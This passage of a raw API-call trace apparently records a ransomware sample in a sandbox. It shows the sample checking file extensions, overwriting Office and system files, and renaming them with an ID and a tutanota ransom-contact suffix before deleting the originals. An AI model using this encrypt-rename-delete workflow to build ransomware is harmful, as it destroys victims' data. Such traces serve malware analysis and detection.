returned 5 [0215.238] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0215.238] lstrlenW (lpString=".pdf") returned 4 [0215.238] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0215.238] lstrlenW (lpString=".xls") returned 4 [0215.238] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0215.238] lstrlenW (lpString=".xlsx") returned 5 [0215.238] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0215.238] lstrlenW (lpString=".ppt") returned 4 [0215.238] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0215.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.238] lstrlenW (lpString=".zip") returned 4 [0215.238] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0215.238] lstrlenW (lpString=".rar") returned 4 [0215.238] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0215.238] lstrlenW (lpString=".bz2") returned 4 [0215.238] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0215.238] lstrlenW (lpString=".7z") returned 3 [0215.239] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0215.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.239] lstrlenW (lpString=".dbf") returned 4 [0215.239] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0215.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.239] lstrlenW (lpString=".1cd") returned 4 [0215.239] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0215.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.239] lstrlenW (lpString=".jpg") returned 4 [0215.239] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0215.239] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0215.239] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0215.239] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0215.239] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=36233052) returned 1 [0215.239] CloseHandle (hObject=0x194) returned 1 [0215.239] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0215.239] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0215.239] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0215.498] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0215.498] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1 [0215.498] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0215.498] ReadFile (in: hFile=0x194, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0215.535] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0215.535] ReadFile (in: hFile=0x194, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0215.698] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0215.698] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0215.698] ReadFile (in: hFile=0x194, lpBuffer=0x3ed0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0215.776] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.776] WriteFile (in: hFile=0x194, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0215.789] SetEndOfFile (hFile=0x194) returned 1 [0215.789] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0215.789] WriteFile (in: hFile=0x194, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.790] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0215.790] WriteFile (in: hFile=0x194, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.791] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0215.791] WriteFile (in: hFile=0x194, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.793] CloseHandle (hObject=0x194) returned 1 [0215.793] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0215.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0215.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0215.793] lstrlenW (lpString=".doc") returned 4 [0215.793] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0215.793] lstrlenW (lpString=".docx") returned 5 [0215.793] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0215.793] lstrlenW (lpString=".pdf") returned 4 [0215.793] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0215.793] lstrlenW (lpString=".xls") returned 4 [0215.793] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0215.793] lstrlenW (lpString=".xlsx") returned 5 [0215.793] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0215.794] lstrlenW (lpString=".ppt") returned 4 [0215.794] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0215.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0215.794] lstrlenW (lpString=".zip") returned 4 [0215.794] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0215.794] lstrlenW (lpString=".rar") returned 4 [0215.794] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0215.794] lstrlenW (lpString=".bz2") returned 4 [0215.794] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0215.794] lstrlenW (lpString=".7z") returned 3 [0215.794] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0215.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0215.794] lstrlenW (lpString=".dbf") returned 4 [0215.794] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0215.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0215.794] lstrlenW (lpString=".1cd") returned 4 [0215.794] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0215.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0215.794] lstrlenW (lpString=".jpg") returned 4 [0215.794] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0215.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0215.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0215.794] lstrlenW (lpString=".doc") returned 4 [0215.794] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0215.794] lstrlenW (lpString=".docx") returned 5 [0215.794] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0215.794] lstrlenW (lpString=".pdf") returned 4 [0215.794] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0215.794] lstrlenW (lpString=".xls") returned 4 [0215.794] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0215.794] lstrlenW (lpString=".xlsx") returned 5 [0215.794] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0215.794] lstrlenW (lpString=".ppt") returned 4 [0215.794] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0215.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0215.794] lstrlenW (lpString=".zip") returned 4 [0215.794] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0215.794] lstrlenW (lpString=".rar") returned 4 [0215.794] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0215.795] lstrlenW (lpString=".bz2") returned 4 [0215.795] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0215.795] lstrlenW (lpString=".7z") returned 3 [0215.795] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0215.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0215.795] lstrlenW (lpString=".dbf") returned 4 [0215.795] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0215.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0215.795] lstrlenW (lpString=".1cd") returned 4 [0215.795] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0215.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0215.795] lstrlenW (lpString=".jpg") returned 4 [0215.795] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0215.795] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0215.795] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0215.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0217.206] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=1369952) returned 1 [0217.206] CloseHandle (hObject=0x204) returned 1 [0217.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0217.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0217.206] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.206] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0217.483] GetLastError () returned 0x0 [0217.483] ReadFile (in: hFile=0x204, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0217.614] WriteFile (in: hFile=0x21c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0217.626] ReadFile (in: hFile=0x204, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x4e770, lpOverlapped=0x0) returned 1 [0217.698] WriteFile (in: hFile=0x21c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x4e780, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x4e780, lpOverlapped=0x0) returned 1 [0217.704] ReadFile (in: hFile=0x204, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.704] WriteFile (in: hFile=0x21c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xea, lpOverlapped=0x0) returned 1 [0217.704] SetEndOfFile (hFile=0x21c) returned 1 [0217.704] CloseHandle (hObject=0x21c) returned 1 [0217.704] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.705] SetEndOfFile (hFile=0x204) returned 1 [0217.708] CloseHandle (hObject=0x204) returned 1 [0217.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.708] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 1 [0217.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0217.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0217.709] lstrlenW (lpString=".doc") returned 4 [0217.709] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0217.709] lstrlenW (lpString=".docx") returned 5 [0217.709] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0217.709] lstrlenW (lpString=".pdf") returned 4 [0217.709] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0217.709] lstrlenW (lpString=".xls") returned 4 [0217.709] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0217.709] lstrlenW (lpString=".xlsx") returned 5 [0217.709] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0217.709] lstrlenW (lpString=".ppt") returned 4 [0217.709] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0217.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0217.709] lstrlenW (lpString=".zip") returned 4 [0217.709] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0217.709] lstrlenW (lpString=".rar") returned 4 [0217.709] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0217.709] lstrlenW (lpString=".bz2") returned 4 [0217.709] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0217.709] lstrlenW (lpString=".7z") returned 3 [0217.709] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0217.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0217.709] lstrlenW (lpString=".dbf") returned 4 [0217.709] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0217.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0217.709] lstrlenW (lpString=".1cd") returned 4 [0217.709] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0217.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0217.709] lstrlenW (lpString=".jpg") returned 4 [0217.709] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0217.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0217.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0217.709] lstrlenW (lpString=".doc") returned 4 [0217.709] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0217.709] lstrlenW (lpString=".docx") returned 5 [0217.709] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0217.709] lstrlenW (lpString=".pdf") returned 4 [0217.709] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0217.709] lstrlenW (lpString=".xls") returned 4 [0217.709] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0217.709] lstrlenW (lpString=".xlsx") returned 5 [0217.709] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0217.709] lstrlenW (lpString=".ppt") returned 4 [0217.709] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0217.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0217.710] lstrlenW (lpString=".zip") returned 4 [0217.710] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0217.710] lstrlenW (lpString=".rar") returned 4 [0217.710] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0217.710] lstrlenW (lpString=".bz2") returned 4 [0217.710] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0217.710] lstrlenW (lpString=".7z") returned 3 [0217.710] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0217.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0217.710] lstrlenW (lpString=".dbf") returned 4 [0217.710] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0217.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0217.710] lstrlenW (lpString=".1cd") returned 4 [0217.710] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0217.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0217.710] lstrlenW (lpString=".jpg") returned 4 [0217.710] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0217.710] lstrcmpiW (lpString1=".FLT", lpString2=".AUF") returned 1 [0217.710] lstrlenW (lpString="CGMIMP32.FLT") returned 12 [0217.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.370] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=323936) returned 1 [0218.370] CloseHandle (hObject=0x1f8) returned 1 [0218.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0218.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.371] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.371] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.371] GetLastError () returned 0x0 [0218.371] ReadFile (in: hFile=0x1f8, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x4f160, lpOverlapped=0x0) returned 1 [0218.395] WriteFile (in: hFile=0x184, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x4f170, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x4f170, lpOverlapped=0x0) returned 1 [0218.399] ReadFile (in: hFile=0x1f8, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.400] WriteFile (in: hFile=0x184, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.400] SetEndOfFile (hFile=0x184) returned 1 [0218.400] CloseHandle (hObject=0x184) returned 1 [0218.400] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.400] SetEndOfFile (hFile=0x1f8) returned 1 [0218.403] CloseHandle (hObject=0x1f8) returned 1 [0218.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.403] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 1 [0218.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0218.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0218.404] lstrlenW (lpString=".doc") returned 4 [0218.404] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0218.404] lstrlenW (lpString=".docx") returned 5 [0218.404] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0218.404] lstrlenW (lpString=".pdf") returned 4 [0218.404] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0218.404] lstrlenW (lpString=".xls") returned 4 [0218.404] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0218.404] lstrlenW (lpString=".xlsx") returned 5 [0218.404] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0218.404] lstrlenW (lpString=".ppt") returned 4 [0218.404] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 